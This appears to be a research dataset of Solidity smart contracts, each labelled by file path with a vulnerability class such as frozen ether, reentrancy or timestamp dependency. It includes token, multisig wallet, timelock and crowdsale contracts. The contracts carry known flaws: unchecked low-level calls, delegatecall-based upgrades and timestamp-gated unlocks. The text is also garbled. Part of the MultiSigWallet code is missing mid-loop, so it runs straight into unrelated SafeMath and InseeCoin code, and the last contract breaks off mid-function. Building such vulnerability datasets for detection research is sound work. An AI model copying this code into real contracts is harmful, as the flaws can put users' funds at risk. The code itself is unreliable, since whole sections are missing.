modifier onlyAdmin() { checkAdmin(); _; } function checkAdmin() internal; function upgrade(address _target) onlyAdmin public { verifyTargetState(_target); verifyState(_target); target = _target; EventUpgrade(_target, msg.sender); } function verifyTargetState(address testTarget) private { require(address(delegateGet(testTarget, ""target()"")) == target); } function verifyState(address testTarget) internal { } function delegateGet(address testTarget, string signature) internal returns (bytes32 result) { bytes4 targetCall = bytes4(keccak256(signature)); assembly { let free := mload(0x40) mstore(free, targetCall) let retVal := delegatecall(gas, testTarget, free, 4, free, 32) result := mload(free) } } } contract TokenReceiver { function onTokenTransfer(address _from, uint256 _value, bytes _data) public; } contract Token is ReadOnlyToken { function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract NotifyingToken is Token { event Transfer(address indexed from, address indexed to, uint256 value, bytes data); function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool); } contract ReadOnlyTokenImpl is ReadOnlyToken { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract TokenImpl is Token, ReadOnlyTokenImpl { using SafeMath for uint256; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emitTransfer(msg.sender, _to, _value); return true; } function emitTransfer(address _from, address _to, uint256 _value) internal { Transfer(_from, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emitTransfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract NotifyingTokenImpl is TokenImpl, NotifyingToken { function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { return transferAndCall(_to, _value, _data); } function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emitTransferWithData(msg.sender, _to, _value, _data); TokenReceiver(_to).onTokenTransfer(msg.sender, _value, _data); return true; } function emitTransfer(address _from, address _to, uint256 _value) internal { emitTransferWithData(_from, _to, _value, """"); } function emitTransferWithData(address _from, address _to, uint256 _value, bytes _data) internal { Transfer(_from, _to, _value, _data); Transfer(_from, _to, _value); } } contract ExternalToken is NotifyingTokenImpl { event Mint(address indexed to, uint256 value, bytes data); event Burn(address indexed burner, uint256 value, bytes data); modifier onlyMinter() { checkMinter(); _; } function checkMinter() internal; function mint(address _to, uint256 _value, bytes _mintData) onlyMinter public returns (bool) { _mint(_to, _value, _mintData); emitTransferWithData(0x0, _to, _value, """"); return true; } function mintAndCall(address _to, uint256 _value, bytes _mintData, bytes _data) onlyMinter public returns (bool) { _mint(_to, _value, _mintData); emitTransferWithData(0x0, _to, _value, _data); TokenReceiver(_to).onTokenTransfer(0x0, _value, _data); return true; } function _mint(address _to, uint256 _value, bytes _data) private { totalSupply = totalSupply.add(_value); balances[_to] = balances[_to].add(_value); Mint(_to, _value, _data); } function burn(uint256 _value, bytes _data) public { require(_value > 0); require(_value <= balances[msg.sender]); checkBurnData(_value, _data); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value, _data); } function checkBurnData(uint256 _value, bytes _data) internal { } } contract BitcoinToken is Upgradeable, ExternalToken { string public constant name = ""Bitcoin""; string public constant symbol = ""BTCT""; uint8 public constant decimals = 8; address public constant admin = 0x10a44fF9805c23f559d9c9f783091398CE54A556; address public constant minter1 = 0x884FFccB29d5aba8c94509663595F1dBF823dCC9; address public constant minter2 = 0x5aCC33B4318575581a80522B2e57D1d09e5eC111; function checkMinter() internal { require(msg.sender == minter1 || msg.sender == minter2); } function checkAdmin() internal { require(msg.sender == admin); } function checkBurnData(uint256 _value, bytes _data) internal { require(_data.length == 20); } }",./Dataset/ether frozen (EF),2,2 32244.sol,"pragma solidity ^0.4.18; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract HUGSTOKEN is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name = ""Hugs Tokens""; //fancy name: eg Simon Bucks uint8 public decimals = 0; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol = ""HUG""; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function HUGSTOKEN( ) { balances[msg.sender] = 500000; // Give the creator all initial tokens (100000 for example) totalSupply = 500000; // Update total supply (100000 for example) name = ""HUGS TOKEN""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""HUG""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 22004.sol,"pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract InseeCoin is ISStop, StandardToken{ string public name = ""Insee Coin""; uint8 public decimals = 18; string public symbol = ""SEE""; string public version = ""v0.1""; uint256 public initialAmount = (10 ** 10) * (10 ** 18); event Destroy(address from, uint value); function InseeCoin() public { balances[msg.sender] = initialAmount; totalSupply_ = initialAmount; } function transfer(address dst, uint wad) public stoppable returns (bool) { return super.transfer(dst, wad); } function transferFrom(address src, address dst, uint wad) public stoppable returns (bool) { return super.transferFrom(src, dst, wad); } function approve(address guy, uint wad) public stoppable returns (bool) { return super.approve(guy, wad); } function destroy(uint256 _amount) external onlyOwner stoppable returns (bool success){ require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender].sub(_amount); totalSupply_ = totalSupply_.sub(_amount); emit Destroy(msg.sender, _amount); return true; } function setName(string name_) public onlyOwner{ name = name_; } } contract TokenLock { using SafeMath for uint256; InseeCoin public ISC; uint256 private nextLockID = 0; mapping (uint256 => TokenTimeLockInfo) public locks; struct TokenTimeLockInfo { address beneficiary; uint256 amount; uint256 unlockTime; } event Lock (uint256 indexed id, address indexed beneficiary,uint256 amount, uint256 lockTime); event Unlock (uint256 indexed id, address indexed beneficiary,uint256 amount, uint256 unlockTime); function TokenLock(InseeCoin isc) public { assert(address(isc) != address(0)); ISC = isc; } function lock ( address _beneficiary, uint256 _amount, uint256 _lockTime) public returns (uint256) { require (_amount > 0); require (_lockTime > 0); nextLockID = nextLockID.add(1); uint256 id = nextLockID; TokenTimeLockInfo storage lockInfo = locks [id]; require (lockInfo.beneficiary == 0x0); require (lockInfo.amount == 0); require (lockInfo.unlockTime == 0); lockInfo.beneficiary = _beneficiary; lockInfo.amount = _amount; lockInfo.unlockTime = now.add(_lockTime); emit Lock (id, _beneficiary, _amount, _lockTime); require (ISC.transferFrom (msg.sender, this, _amount)); return id; } function unlock (uint256 _id) public { TokenTimeLockInfo memory lockInfo = locks [_id]; delete locks [_id]; require (lockInfo.amount > 0); require (lockInfo.unlockTime <= block.timestamp); emit Unlock (_id, lockInfo.beneficiary, lockInfo.amount, lockInfo.unlockTime); require ( ISC.transfer ( lockInfo.beneficiary, lockInfo.amount)); } }",./Dataset/timestamp dependency (TP)/,6,6 1489.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // 